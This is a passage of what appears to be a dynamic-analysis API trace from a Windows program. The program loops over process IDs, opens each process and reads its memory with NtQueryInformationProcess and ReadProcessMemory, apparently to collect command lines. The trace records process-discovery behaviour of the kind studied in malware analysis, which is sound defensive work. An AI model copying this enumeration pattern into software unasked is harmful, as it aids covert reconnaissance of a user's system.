lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.526] malloc (_Size=0x2c) returned 0xe721b0 [0346.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe721b0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe721b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.526] free (_Block=0xe721b0) [0346.526] CloseHandle (hObject=0xa9c) returned 1 [0346.527] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0346.527] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0346.527] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.527] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.528] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0346.528] GetLastError () returned 0x0 [0346.528] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.529] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.529] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.529] malloc (_Size=0x60) returned 0xeb63f0 [0346.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb63f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0346.530] free (_Block=0xeb63f0) [0346.530] CloseHandle (hObject=0xa9c) returned 1 [0346.530] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0346.530] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0346.531] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.531] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.531] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0346.532] CloseHandle (hObject=0x0) returned 0 [0346.532] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0346.532] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0346.532] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.532] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.535] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0346.535] GetLastError () returned 0x0 [0346.535] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.535] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.536] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.536] malloc (_Size=0x70) returned 0xea9320 [0346.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea9320, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0346.537] free (_Block=0xea9320) [0346.537] CloseHandle (hObject=0xa9c) returned 1 [0346.537] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0346.537] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0346.537] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.537] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0346.538] CloseHandle (hObject=0x0) returned 0 [0346.538] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0346.539] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0346.539] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.539] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0346.540] GetLastError () returned 0x0 [0346.540] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.541] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.541] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.541] malloc (_Size=0x7e) returned 0xe87ee0 [0346.541] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe87ee0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87ee0*, lpNumberOfBytesRead=0x0) returned 1 [0346.542] free (_Block=0xe87ee0) [0346.542] CloseHandle (hObject=0xa9c) returned 1 [0346.542] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0346.542] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0346.542] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.542] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.543] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0346.543] GetLastError () returned 0x0 [0346.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.544] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.544] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.545] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.545] malloc (_Size=0xbc) returned 0xec9480 [0346.545] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0346.545] free (_Block=0xec9480) [0346.546] CloseHandle (hObject=0xa9c) returned 1 [0346.546] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0346.546] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0346.546] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.546] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0346.547] GetLastError () returned 0x0 [0346.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.549] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.549] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.549] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.550] malloc (_Size=0x62) returned 0xeb65b0 [0346.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb65b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.550] free (_Block=0xeb65b0) [0346.550] CloseHandle (hObject=0xa9c) returned 1 [0346.551] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0346.551] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0346.551] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.551] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0346.552] GetLastError () returned 0x0 [0346.552] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.553] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.553] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.553] malloc (_Size=0x84) returned 0xe88090 [0346.553] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe88090, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0346.554] free (_Block=0xe88090) [0346.554] CloseHandle (hObject=0xa9c) returned 1 [0346.554] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0346.554] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0346.554] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.555] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.555] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0346.555] GetLastError () returned 0x0 [0346.556] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.556] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.556] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.556] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.557] malloc (_Size=0x6a) returned 0xea9020 [0346.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea9020, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0346.557] free (_Block=0xea9020) [0346.558] CloseHandle (hObject=0xa9c) returned 1 [0346.558] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0346.558] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0346.558] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.558] _vsnwprintf (in: 